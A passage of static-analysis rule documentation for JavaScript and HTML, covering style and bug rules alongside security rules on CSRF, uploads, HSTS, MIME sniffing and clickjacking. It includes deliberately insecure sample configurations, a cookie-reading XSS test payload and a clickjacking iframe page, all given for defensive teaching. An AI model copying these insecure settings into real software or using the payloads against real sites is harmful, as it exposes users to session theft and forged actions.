(function () {
  //...
})();

Or

var fn = function () {
  //...
}(function () { // <-- start function call arguments on same line
  //...
})();
javascript:S2681

Curly braces can be omitted from a one-line block, such as with an if statement or for loop, but doing so can be misleading and induce bugs.

This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once.

Note that this rule considers tab characters to be equivalent to 1 space. If you mix spaces and tabs you will sometimes see issues in code which looks fine in your editor but is confusing when you change the size of tabs.

Noncompliant Code Example

if (condition)
  firstActionInBlock();
  secondAction();  // Noncompliant; executed unconditionally
thirdAction();

if (condition) firstActionInBlock(); secondAction();  // Noncompliant; secondAction executed unconditionally

if (condition) firstActionInBlock();  // Noncompliant
  secondAction();  // Executed unconditionally

if (condition); secondAction();  // Noncompliant; secondAction executed unconditionally

let str = undefined;
for (let i = 0; i < array.length; i++)
  str = array[i];
  doTheThing(str);  // Noncompliant; executed only on last array element

Compliant Solution

if (condition) {
  firstActionInBlock();
  secondAction();
}
thirdAction();

let str = undefined;
for (let i = 0; i < array.length; i++) {
  str = array[i];
  doTheThing(str);
}

See

javascript:S3531

A generator without a yield statement is at best confusing, and at worst a bug in your code, since the iterator produced by your code will always be empty.

Noncompliant Code Example

function* myGen(a, b) {  // Noncompliant
  let answer = 0;
  answer += a * b;
}

Compliant Solution

function* myGen(a, b) {
  let answer = 0;
  while (answer < 42) {
    answer += a * b;
    yield answer;
  }
}
javascript:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

let x = (y / 2 + 1);   //Compliant even if those parenthesis are useless for the compiler

if (a && ((x+y > 0))) {  // Noncompliant
  //...
}

return ((x + 1));  // Noncompliant

Compliant Solution

let x = (y / 2 + 1);

if (a && (x+y > 0)) {
  //...
}

return (x + 1);
javascript:S4502

Cross-site request forgery (CSRF) vulnerabilities occur when attackers can trick a user to perform sensitive authenticated operations on a web application without his consent.

Imagine a web application where an authenticated user can do actions like changing his email address and which has no CSRF protection. A malicious website could forge a web page form to send the HTTP request that change the user email. When the user visits the malicious web page, the form is automatically submitted in his name and his account email is changed to an arbitrary email.

Such an attack is only possible if the web browser automatically sends authentication information to the trusted domain (e.g cookie based authentication)

Ask Yourself Whether

  • The web application uses cookies to authenticate users.
  • There exist sensitive operations in the web application that can be performed when the user is authenticated.
  • The state / resources of the web application can be modified by doing HTTP POST or HTTP DELETE requests for example.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Protection against CSRF attacks is strongly recommended:
    • to be activated by default for all unsafe HTTP methods.
    • implemented, for example, with an unguessable CSRF token
  • Of course all sensitive operations should not be performed with safe HTTP methods like GET which are designed to be used only for information retrieval.

Sensitive Code Example

Express.js CSURF middleware protection is not found on an unsafe HTTP method like POST method:

let csrf = require('csurf');
let express = require('express');

let csrfProtection = csrf({ cookie: true });

let app = express();

// Sensitive: this operation doesn't look like protected by CSURF middleware (csrfProtection is not used)
app.post('/money_transfer', parseForm, function (req, res) {
  res.send('Money transferred');
});

Protection provided by Express.js CSURF middleware is globally disabled on unsafe methods:

let csrf = require('csurf');
let express = require('express');

app.use(csrf({ cookie: true, ignoreMethods: ["POST", "GET"] })); // Sensitive as POST is unsafe method

Compliant Solution

Express.js CSURF middleware protection is used on unsafe methods:

let csrf = require('csurf');
let express = require('express');

let csrfProtection = csrf({ cookie:  true });

let app = express();

app.post('/money_transfer', parseForm, csrfProtection, function (req, res) { // Compliant
  res.send('Money transferred')
});

Protection provided by Express.js CSURF middleware is enabled on unsafe methods:

let csrf = require('csurf');
let express = require('express');

app.use(csrf({ cookie: true, ignoreMethods: ["GET"] })); // Compliant

See

javascript:S3533

Before ECMAScript 2015, module management had to be ad-hoc or provided by 3rd-party libraries such as Node.js, Webpack, or RequireJS. Fortunately, ES2015, provides language-standard mechanisms for module management, import and export, and older usages should be converted.

Noncompliant Code Example

// circle.js
exports.area = function (r) {
  return PI * r * r;
};

// foo.js
define(["./cart", "./horse"], function(cart, horse) {  // Noncompliant
  // ...
});

// bar.js
const circle = require('./circle.js');  // Noncompliant

Compliant Solution

// circle.js
let area = function (r) {
  return PI * r * r;
}
export default area;

// foo.js
import cart from "./cart.js";
import horse from "./horse.js";

// bar.js
import circle from "./circle.js"
javascript:S2685

Both arguments.caller and arguments.callee make quite a few optimizations impossible so they were deprecated in latest versions of JavaScript. In fact, EcmaScript 5 forbids the use of both in strict mode, according to the docs:

Arguments objects for strict mode functions define non-configurable accessor properties named "caller" and "callee" which throw a TypeError exception on access.

The same restriction applies to the function's caller and arguments properties in strict mode.

Noncompliant Code Example

function whoCalled() {
   if (arguments.caller == null)   //Noncompliant
      console.log('I was called from the global scope.');
   else
      console.log(arguments.caller + ' called me!');  // Noncompliant

  console.log(whoCalled.caller);  // Noncompliant
  console.log(whoCalled.arguments);  // Noncompliant
}
javascript:S2201

When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected.

To prevent generating any false-positives, this rule triggers an issues only on a predefined list of known objects & functions.

Noncompliant Code Example

'hello'.lastIndexOf('e'); // Noncompliant

Compliant Solution

let char = 'hello'.lastIndexOf('e');

See

javascript:S4624

Template literals (previously named "template strings") are an elegant way to build a string without using the + operator to make strings concatenation more readable.

However, it's possible to build complex string literals by nesting together multiple template literals, and therefore lose readability and maintainability.

In such situations, it's preferable to move the nested template into a separate statement.

Noncompliant Code Example

let color = "red";
let count = 3;
let message = `I have ${color ? `${count} ${color}` : count} apples`; // Noncompliant; nested template strings not easy to read

Compliant Solution

let color = "red";
let count = 3;
let apples = color ? `${count} ${color}` : count;
let message = `I have ${apples} apples`;
javascript:S2688

NaN is not equal to anything, even itself. Testing for equality or inequality against NaN will yield predictable results, but probably not the ones you want.

Instead, the best way to see whether a variable is equal to NaN is to use Number.isNaN(), since ES2015, or (perhaps counter-intuitively) to compare it to itself. Since NaN !== NaN, when a !== a, you know it must equal NaN.

Noncompliant Code Example

var a = NaN;

if (a === NaN) {  // Noncompliant; always false
  console.log("a is not a number");  // this is dead code
}
if (a !== NaN) { // Noncompliant; always true
  console.log("a is not NaN"); // this statement is not necessarily true
}

Compliant Solution

if (Number.isNaN(a)) {
  console.log("a is not a number");
}
if (!Number.isNaN(a)) {
  console.log("a is not NaN");
}

See

javascript:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

javascript:S878

The comma operator takes two expressions, executes them from left to right and returns the result of the second one. Use of this operator is generally detrimental to the readability and reliability of code, and the same effect can be achieved by other means.

Noncompliant Code Example

i = a += 2, a + b;  // What's the value of i ?

Compliant Solution

a +=  2;
i = a + b;

Exceptions

Use of comma operator is tolerated:

  • in initialization and increment expressions of for loops.
for(i = 0, j = 5; i < 6; i++, j++) { ... }
  • If the expression sequence is explicitly wrapped in parentheses.
javascript:S1821

Nested switch structures are difficult to understand because you can easily confuse the cases of an inner switch as belonging to an outer statement. Therefore nested switch statements should be avoided.

Specifically, you should structure your code to avoid the need for nested switch statements, but if you cannot, then consider moving the inner switch to another function.

Noncompliant Code Example

function foo(n, m) {
  switch (n) {
    case 0:
      switch (m) {  // Noncompliant; nested switch
        // ...
      }
    case 1:
      // ...
    default:
      // ...
  }
}

Compliant Solution

function foo(n, m) {
  switch (n) {
    case 0:
      bar(m);
    case 1:
      // ...
    default:
      // ...
  }
}

function bar(m) {
  switch(m) {
    // ...
  }
}
javascript:S881

The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:

  • It can significantly impair the readability of the code.
  • It introduces additional side effects into a statement, with the potential for undefined behavior.
  • It is safer to use these operators in isolation from any other arithmetic operators.

Noncompliant Code Example

u8a = ++u8b + u8c--;
foo = bar++ / 4;

Compliant Solution

The following sequence is clearer and therefore safer:

++u8b;
u8a = u8b + u8c;
u8c--;
foo = bar / 4;
bar++;

See

  • CERT, EXP30-C. - Do not depend on the order of evaluation for side effects
  • CERT, EXP50-CPP. - Do not depend on the order of evaluation for side effects
  • CERT, EXP05-J. - Do not follow a write by a subsequent write or read of the same object within an expression
javascript:S5742

Certificate Transparency (CT) is an open-framework to protect against identity theft when certificates are issued. Certificate Authorities (CA) electronically sign certificate after verifying the identify of the certificate owner. Attackers use, among other things, social engineering attacks to trick a CA to correctly verifying a spoofed identity/forged certificate.

CAs implement Certificate Transparency framework to publicly log the records of newly issued certificates, allowing the public and in particular the identity owner to monitor these logs to verify that his identify was not usurped.

Ask Yourself Whether

  • The website identity is valuable and well-known, therefore prone to theft.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement Expect-CT HTTP header which instructs the web browser to check public CT logs in order to verify if the website appears inside and if it is not, the browser will block the request and display a warning to the user.

Sensitive Code Example

In Express.js application the code is sensitive if the expect-ct middleware is disabled:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
    helmet({
      expectCt: false // Sensitive
    })
);

Compliant Solution

In Express.js application the expect-ct middleware is the standard way to implement expect-ct. Usually, the deployment of this policy starts with the report only mode (enforce: false) and with a low maxAge (the number of seconds the policy will apply) value and next if everything works well it is recommended to block future connections that violate Expect-CT policy (enforce: true) and greater value for maxAge directive:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(helmet.expectCt({
  enforce: true,
  maxAge: 86400
})); // Compliant

See

javascript:S1264

When only the condition expression is defined in a for loop, and the initialization and increment expressions are missing, a while loop should be used instead to increase readability.

Noncompliant Code Example

for (;condition;) { /*...*/ }

Compliant Solution

while (condition) { /*...*/ }
javascript:S1143

Using return, break, throw, and continue from a finally block overwrites similar statements from the suspended try and catch blocks.

This rule raises an issue when a jump statement (break, continue, return and throw) would force control flow to leave a finally block.

Noncompliant Code Example

function foo() {
    try {
        return 1; // We expect 1 to be returned
    } catch(err) {
        return 2; // Or 2 in cases of error
    } finally {
        return 3; // Noncompliant: 3 is returned before 1, or 2, which we did not expect
    }
}

Compliant Solution

function foo() {
    try {
        return 1; // We expect 1 to be returned
    } catch(err) {
        return 2; // Or 2 in cases of error
    }
}

See

javascript:S2598

These minimum restrictions should be applied when handling file uploads:

  • the file upload folder to restrict untrusted files to a specific folder.
  • the file extension of the uploaded file to prevent remote code execution.

Also the size of the uploaded file should be limited to prevent denial of service attacks. This requirement is covered by the rule S5693.

Noncompliant Code Example

formidable module:

const Formidable = require('formidable');

const form = new Formidable(); // Noncompliant, this form is not safe
form.uploadDir = ""; // because upload dir is not defined (by default os temp dir: /var/tmp or /tmp)
form.keepExtensions = true; // and file extensions are kept

multer (Express.js middleware) module:

const multer = require('multer');

let diskStorage = multer.diskStorage({ // Noncompliant: no destination specified
  filename: (req, file, cb) => {
    const buf = crypto.randomBytes(20);
    cb(null, buf.toString('hex'))
  }
});

// This upload is not safe as no destination specified, /var/tmp or /tmp will be used
let diskupload = multer({
  storage: diskStorage,
});

Compliant Solution

formidable module:

const Formidable = require('formidable');

const form = new Formidable(); // Compliant
form.uploadDir = "./uploads/";
form.keepExtensions = false;

multer (Express.js middleware) module:

const multer = require('multer');

let diskStorage = multer.diskStorage({  // Compliant
  filename: (req, file, cb) => {
    const buf = crypto.randomBytes(20);
    cb(null, buf.toString('hex'))
  },
  destination: (req, file, cb) => {
    cb(null, './uploads/')
  }
});

let diskupload = multer({
  storage: diskStorage,
});

See

javascript:S3686

Constructor functions, which create new object instances, must only be called with new. Non-constructor functions must not. Mixing these two usages could lead to unexpected results at runtime.

Noncompliant Code Example

function getNum() {
  return 5;
}

function Num(numeric, alphabetic) {
  this.numeric = numeric;
  this.alphabetic = alphabetic;
}

var myFirstNum = getNum();
var my2ndNum = new getNum();  // Noncompliant. An empty object is returned, NOT 5

var myNumObj1 = new Num();
var myNumObj2 = Num();  // Noncompliant. undefined is returned, NOT an object
javascript:S2234

When the names of arguments in a function call match the names of the function parameters, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the function parameters, it indicates a mistake in the parameter order which will likely lead to unexpected results.

Noncompliant Code Example

function divide(divisor, dividend) {
  return divisor/dividend;
}

function doTheThing() {
  var divisor = 15;
  var dividend = 5;

  var result = divide(dividend, divisor);  // Noncompliant; operation succeeds, but result is unexpected
  //...
}

Compliant Solution

function divide(divisor, dividend) {
  return divisor/dividend;
}

function doTheThing() {
  var divisor = 15;
  var dividend = 5;

  var result = divide(divisor, dividend);
  //...
}
javascript:S5743

By default, web browsers perform DNS prefetching to reduce latency due to DNS resolutions required when an user clicks links from a website page.

For instance on example.com the hyperlink below contains a cross-origin domain name that must be resolved to an IP address by the web browser:

<a href="https://otherexample.com">go on our partner website</a>

It can add significant latency during requests, especially if the page contains many links to cross-origin domains. DNS prefetch allows web browsers to perform DNS resolving in the background before the user clicks a link. This feature can cause privacy issues because DNS resolving from the user's computer is performed without his consent if he doesn't intent to go to the linked website.

On a complex private webpage, a combination "of unique links/DNS resolutions" can indicate, to a eavesdropper for instance, that the user is visiting the private page.

Ask Yourself Whether

  • Links to cross-origin domains could result in leakage of confidential information about the user's navigation/behavior of the website.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement X-DNS-Prefetch-Control header with an off value but this could significantly degrade website performances.

Sensitive Code Example

In Express.js application the code is sensitive if the dns-prefetch-control middleware is disabled or used without the recommended value:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.dnsPrefetchControl({
    allow: true // Sensitive: allowing DNS prefetching is security-sensitive
  })
);

Compliant Solution

In Express.js application the dns-prefetch-control or helmet middleware is the standard way to implement X-DNS-Prefetch-Control header:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.dnsPrefetchControl({
    allow: false // Compliant
  })
);

See

javascript:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if (!(a === 2)) { ... }  // Noncompliant

Compliant Solution

if (a !== 2) { ... }
javascript:S3317

By convention, a file that exports only one class, function, or constant should be named for that class, function or constant. Anything else may confuse maintainers.

Noncompliant Code Example

// file path: myclass.js  -- Noncompliant
class MyClass {
  // ...
}
export default MyClass;

Compliant Solution

// file path: MyClass.js
class MyClass {
  // ...
}
export default MyClass;

Exceptions

Case, underscores ( _ ) and dashes (-) are ignored from the name comparison.

javascript:S5739

When implementing the HTTPS protocol, the website mostly continue to support the HTTP protocol to redirect users to HTTPS when they request a HTTP version of the website. These redirects are not encrypted and are therefore vulnerable to man in the middle attacks. The Strict-Transport-Security policy header (HSTS) set by an application instructs the web browser to convert any HTTP request to HTTPS.

Web browsers that see the Strict-Transport-Security policy header for the first time record information specified in the header:

  • the max-age directive which specify how long the policy should be kept on the web browser.
  • the includeSubDomains optional directive which specify if the policy should apply on all sub-domains or not.
  • the preload optional directive which is not part of the HSTS specification but supported on all modern web browsers.

With the preload directive the web browser never connects in HTTP to the website and to use this directive, it is required to submit the concerned application to a preload service maintained by Google.

Ask Yourself Whether

  • The website is accessible with the unencrypted HTTP protocol.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement Strict-Transport-Security policy header, it is recommended to apply this policy to all subdomains (includeSubDomains) and for at least 6 months (max-age=15552000) or even better for 1 year (max-age=31536000).

Sensitive Code Example

In Express.js application the code is sensitive if the helmet or hsts middleware are disabled or used without recommended values:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(helmet.hsts({
  maxAge: 3153600, // Sensitive, recommended >= 15552000
  includeSubDomains: false // Sensitive, recommended 'true'
}));

Compliant Solution

In Express.js application a standard way to implement HSTS is with the helmet or hsts middleware:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(helmet.hsts({
  maxAge: 31536000,
  includeSubDomains: true
})); // Compliant

See

javascript:S5736

HTTP header referer contains a URL set by web browsers and used by applications to track from where the user came from, it's for instance a relevant value for web analytic services, but it can cause serious privacy and security problems if the URL contains confidential information. Note that Firefox for instance, to prevent data leaks, removes path information in the Referer header while browsing privately.

Suppose an e-commerce website asks the user his credit card number to purchase a product:

<html>
<body>
<form action="/valid_order" method="GET">
Type your credit card number to purchase products:
<input type=text id="cc" value="1111-2222-3333-4444">
<input type=submit>
</form>
</body>

When submitting the above HTML form, a HTTP GET request will be performed, the URL requested will be https://example.com/valid_order?cc=1111-2222-3333-4444 with credit card number inside and it's obviously not secure for these reasons:

  • URLs are stored in the history of browsers.
  • URLs could be accidentally shared when doing copy/paste actions.
  • URLs can be stolen if a malicious person looks at the computer screen of an user.

In addition to these threats, when further requests will be performed from the "valid_order" page with a simple legitimate embedded script like that:

<script src="https://webanalyticservices_example.com/track">

The referer header which contains confidential information will be send to a third party web analytic service and cause privacy issue:

GET /track HTTP/2.0
Host: webanalyticservices_example.com
Referer: https://example.com/valid_order?cc=1111-2222-3333-4444

Ask Yourself Whether

  • Confidential information exists in URLs.
  • Semantic of HTTP methods is not respected (eg: use of a GET method instead of POST when the state of the application is changed).

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Confidential information should not be set inside URLs (GET requests) of the application and a safe (ie: different from unsafe-url or no-referrer-when-downgrade) referrer-Policy header, to control how much information is included in the referer header, should be used.

Sensitive Code Example

In Express.js application the code is sensitive if the helmet referrerPolicy middleware is disabled or used with no-referrer-when-downgrade or unsafe-url:

const express = require('express');
const helmet = require('helmet');

app.use(
  helmet.referrerPolicy({
    policy: 'no-referrer-when-downgrade' // Sensitive: no-referrer-when-downgrade is used
  })
);

Compliant Solution

In Express.js application a secure solution is to user the helmet referrer policy middleware set to no-referrer:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.referrerPolicy({
    policy: 'no-referrer' // Compliant
  })
);

See

javascript:S5730

A mixed-content is when a resource is loaded with the HTTP protocol, from a website accessed with the HTTPs protocol, thus mixed-content are not encrypted and exposed to MITM attacks and could break the entire level of protection that was desired by implementing encryption with the HTTPs protocol.

The main threat with mixed-content is not only the confidentiality of resources but the whole website integrity:

  • A passive mixed-content (eg: <img src="http://example.com/picture.png">) allows an attacker to access and replace only these resources, like images, with malicious ones that could lead to successful phishing attacks.
  • With active mixed-content (eg: <script src="http://example.com/library.js">) an attacker can compromise the entire website by injecting malicious javascript code for example (accessing and modifying the DOM, steal cookies, etc).

Ask Yourself Whether

  • The HTTPS protocol is in place and external resources are fetched from the website pages.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement content security policy block-all-mixed-content directive which is supported by all modern browsers and will block loading of mixed-contents.

Sensitive Code Example

In Express.js application the code is sensitive if the helmet-csp or helmet middleware is used without the blockAllMixedContent directive:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      "default-src": ["'self'", 'example.com', 'code.jquery.com']
    } // Sensitive: blockAllMixedContent directive is missing
  })
);

Compliant Solution

In Express.js application a standard way to block mixed-content is to put in place the helmet-csp or helmet middleware with the blockAllMixedContent directive:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      "default-src": ["'self'", 'example.com', 'code.jquery.com'],
      blockAllMixedContent: [] // Compliant
    }
  })
);

See

javascript:S1131

Trailing whitespaces are simply useless and should not stay in code. They may generate noise when comparing different versions of the same file.

If you encounter issues from this rule, this probably means that you are not using an automated code formatter - which you should if you have the opportunity to do so.

Noncompliant Code Example

// The following string will error if there is a whitespace after '\'
var str = "Hello \
World";
javascript:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

function divide(numerator, denominator) {
  return numerator / denominator;              // FIXME denominator value might be  0
}

See

javascript:S5734

MIME confusion attacks occur when an attacker successfully tricks a web-browser to interpret a resource as a different type than the one expected. To correctly interpret a resource (script, image, stylesheet ...) web browsers look for the Content-Type header defined in the HTTP response received from the server, but often this header is not set or is set with an incorrect value. To avoid content-type mismatch and to provide the best user experience, web browsers try to deduce the right content-type, generally by inspecting the content of the resources (the first bytes). This "guess mechanism" is called MIME type sniffing.

Attackers can take advantage of this feature when a website ("example.com" here) allows to upload arbitrary files. In that case, an attacker can upload a malicious image fakeimage.png (containing malicious JavaScript code or a polyglot content file) such as:

<script>alert(document.cookie)</script>

When the victim will visit the website showing the uploaded image, the malicious script embedded into the image will be executed by web browsers performing MIME type sniffing.

Ask Yourself Whether

  • Content-Type header is not systematically set for all resources.
  • Content of resources can be controlled by users.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Implement X-Content-Type-Options header with nosniff value (the only existing value for this header) which is supported by all modern browsers and will prevent browsers from performing MIME type sniffing, so that in case of Content-Type header mismatch, the resource is not interpreted. For example within a <script> object context, JavaScript MIME types are expected (like application/javascript) in the Content-Type header.

Sensitive Code Example

In Express.js application the code is sensitive if, when using helmet, the noSniff middleware is disabled:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet({
    noSniff: false, // Sensitive
  })
);

Compliant Solution

When using helmet in an Express.js application, the noSniff middleware should be enabled (it is also done by default):

const express = require('express');
const helmet= require('helmet');

let app = express();

app.use(helmet.noSniff());

See

javascript:S4524

switch can contain a default clause for various reasons: to handle unexpected values, to show that all the cases were properly considered.

For readability purpose, to help a developer to quickly find the default behavior of a switch statement, it is recommended to put the default clause at the end of the switch statement. This rule raises an issue if the default clause is not the first or the last one of the switch's cases.

Noncompliant Code Example

switch (param) {
  case 0:
    doSomething();
    break;
  default: // default clause should be the first or last one
    error();
    break;
  case 1:
    doSomethingElse();
    break;
}

Compliant Solution

switch (param) {
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
  default:
    error();
    break;
}
javascript:S3796

Arrays in JavaScript have several methods for filtering, mapping or folding that require a callback. Not having a return statement in such a callback function is most likely a mistake.

This rule applies for the following methods of an array:

  • Array.from
  • Array.prototype.every
  • Array.prototype.filter
  • Array.prototype.find
  • Array.prototype.findIndex
  • Array.prototype.map
  • Array.prototype.reduce
  • Array.prototype.reduceRight
  • Array.prototype.some
  • Array.prototype.sort

Noncompliant Code Example

var merged = arr.reduce(function(a, b) {
  a.concat(b);
}); // Noncompliant: No return statement

Compliant Solution

var merged = arr.reduce(function(a, b) {
  return a.concat(b);
});
javascript:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

function doSomething() {
  // TODO
}

See

javascript:S3799

Destructuring is a convenient way of extracting multiple values from data stored in (possibly nested) objects and arrays. However, it is possible to create an empty pattern that has no effect. When empty curly braces or brackets are used to the right of a property name most of the time the intent was to use a default value instead.

This rule raises an issue when empty destructuring pattern is used.

Noncompliant Code Example

var {a: {}, b} = myObj; // Noncompliant
function foo({first: [], second}) { // Noncompliant
  // ...
}

Compliant Solution

var {a = {}, b} = myObj;
function foo({first = [], second}) {
  // ...
}
javascript:S5732

Clickjacking attacks occur when an attacker try to trick an user to click on certain buttons/links of a legit website. This attack can take place with malicious HTML frames well hidden in an attacker website.

For instance, suppose a safe and authentic page of a social network (https://socialnetworkexample.com/makemyprofilpublic) which allows an user to change the visibility of his profile by clicking on a button. This is a critical feature with high privacy concerns. Users are generally well informed on the social network of the consequences of this action. An attacker can trick users, without their consent, to do this action with the below embedded code added on a malicious website:

<html>
<b>Click on the button below to win 5000$</b>
<br>
<iframe src="https://socialnetworkexample.com/makemyprofilpublic" width="200" height="200"></iframe>
</html>

Playing with the size of the iframe it's sometimes possible to display only the critical parts of a page, in this case the button of the makemyprofilpublic page.

Ask Yourself Whether

  • Critical actions of the application are prone to clickjacking attacks because a simple click on a link or a button can trigger them.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement content security policy frame-ancestors directive which is supported by all modern browsers and will specify the origins of frame allowed to be loaded by the browser (this directive deprecates X-Frame-Options).

Sensitive Code Example

In Express.js application the code is sensitive if the helmet-csp or helmet middleware is used without the frameAncestors directive (or if frameAncestors is set to 'none'):

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      // other directives
      frameAncestors: ["'none'"] // Sensitive: frameAncestors  is set to none
    }
  })
);

Compliant Solution

In Express.js application a standard way to implement CSP frame-ancestors directive is the helmet-csp or helmet middleware:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      // other directives
      frameAncestors: ["'example.com'"] // Compliant
    }
  })
);

See

javascript:S2589

If a boolean expression doesn't change the evaluation of the condition, then it is entirely unnecessary, and can be removed. If it is gratuitous because it does not match the programmer's intent, then it's a bug and the expression should be fixed.

Noncompliant Code Example

if (a) {
  if (a) { // Noncompliant
    doSomething();
  }
}

Compliant Solution

if (a) {
  if (b) {
    doSomething();
  }
}

// or
if (a) {
  doSomething();
}

See

javascript:S3798

Any variable or function declared in the global scope implicitly becomes attached to the global object (the window object in a browser environment). To make it explicit this variable or function should be a property of window. When it is meant to be used just locally, it should be declared with the const or let keywords (since ECMAScript 2015) or within an Immediately-Invoked Function Expression (IIFE).

This rule should not be activated when modules are used.

Noncompliant Code Example

var myVar = 42;       // Noncompliant
function myFunc() { } // Noncompliant

Compliant Solution

window.myVar = 42;
window.myFunc = function() { };

or

let myVar = 42;
let myFunc = function() { }

or

// IIFE
(function() {
  var myVar = 42;
  function myFunc() { }
})();
Web:UnifiedExpressionCheck

This rule allows to make sure that all JSF Expressions are syntactically correct.

Noncompliant Code Example

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
   xmlns:h="http://java.sun.com/jsf/html">
   <h:body>
     First name
     <h:outputText value="#{user.firstName && @@}"/>   <!-- Noncompliant -->
   </h:body>
</html>
Web:InternationalizationCheck

Web applications can be made available in multiple languages through the use of internationalization. This allows the server to plug in the correct version of a piece of text based on the language chosen, but it requires that internationalization messages be used instead of hard-coded text.

Noncompliant Code Example

  <form method="post">
    <label for="username">Username:</label>  <!-- Noncompliant -->
    <input type="text" id="username" name="username">
    <br>
    <label for="password">Password:</label>  <!-- Noncompliant -->
    <input type="password" id="password" name="password">
    <br>
    <input type="submit" name="submit" value="${buttonValue}">
  </form>

Compliant Solution

  <form method="post">
    <label for="username"><fmt:message key="login.label.username" />:</label>
    <input type="text" id="username" name="username">
    <br>
    <label for="password"><fmt:message key="login.label.password" />:</label>
    <input type="password" id="password" name="password">
    <br>
    <input type="submit" name="submit" value="${buttonValue}">
  </form>
Web:FieldsetWithoutLegendCheck

For users of assistive technology such as screen readers, it may be challenging to know what is expected in each form's input. The input's label alone might not be sufficient: 'street' could be part of a billing or a shipping address for instance.

Fieldset legends are read out loud by screen readers before the label each time the focus is set on an input. For example, a legend 'Billing address' with a label 'Street' will read 'Billing address street'. Legends should be short, and 'Your' should not be repeated in both the legend and the label, as it would result in 'Your address Your City' being read.

Noncompliant Code Example

<fieldset>                                 <!-- Noncompliant -->
  Street: <input type="text"><br />
  Town: <input type="text"><br />
  Country: <input type="text"><br />
</fieldset>

Compliant Solution

<fieldset>
  <legend>Billing address</legend>
  Street: <input type="text"><br />
  Town: <input type="text"><br />
  Country: <input type="text"><br />
</fieldset>
Web:PageWithoutFaviconCheck

Favicons are shown for example in the browser's address bar, bookmark list, or tabs.

They enable users to quickly identify and recognize websites.

Noncompliant Code Example

<head>                                                                  <!-- Noncompliant -->
  <title>...<title>
</head>

Compliant Solution

<head>
  <title>...<title>
  <link rel="shortcut icon" href="http://example.com/myicon.ico" />
</head>
Web:ItemTagNotWithinContainerTagCheck

Using a <li> or <dt> item tag outside of a <ul>, <ol> or <dl> one does not make sense and indicates a bug.

Noncompliant Code Example

<li>Apple</li>          <!-- Noncompliant -->
<li>Strawberry</li>     <!-- Noncompliant -->

<li>Apple</li>          <!-- Noncompliant -->
<li>Strawberry</li>     <!-- Noncompliant -->

<dt>Apple</dt>          <!-- Noncompliant -->
<dt>Strawberry</dt>     <!-- Noncompliant -->

Compliant Solution

<ul>
  <li>Apple</li>
  <li>Strawberry</li>
</ul>

<ol>
  <li>Apple</li>
  <li>Strawberry</li>
</ol>

<dl>
  <dt>Apple</dt>
  <dt>Strawberry</dt>
</dl>
Web:LibraryDependencyCheck

This rule raises an issue when a configured Java package or class is used in a JSP file.

Noncompliant Code Example

Given a disallowed list of java.sql,ArrayList:

<%@ page import="java.sql.*" %>     <!-- Noncompliant -->
<% java.util.ArrayList clients; %>  <!-- Noncompliant -->
<% java.lang.String name; %>        <!-- Compliant -->
Web:LinkToImageCheck

Whenever a user clicks on a link that targets an image, the website's navigation menu will be lost.

From a user point of view, it is as if she left the website.

The only way to return to it is using the browser's 'Back' button.

Instead, it is better to create a page which will display the image using the <img> tag and preserve the navigation menu.

Further, in terms of accessibility, when the image is embedded into a page, content providers are able to provide an alternate text equivalent through the alt attribute.

Noncompliant Code Example

<a href="image.png">...</a>  <!-- Non-Compliant -->

Compliant Solution

<a href="page.html">...</a>  <!-- Compliant -->
Web:IllegalAttributeCheck

This rule checks that the specified attributes are not present in HTML tags.

Noncompliant Code Example

For a disallowed attribute list of: a.name:

<a href="blah.com" name="Blah link"> <!-- Noncompliant; name attribute is used -->

Compliant Solution

<a href="blah.com">
Web:S5725

Fetching external resources, for example from a CDN, without verifying their integrity could impact the security of an application if the CDN gets compromised and resources are replaced by malicious ones. Resources integrity feature will block resources inclusion into an application if the pre-computed digest of the expected resource doesn't match with the digest of the retrieved resource.

Ask Yourself Whether

  • The resources are fetched from external CDNs.

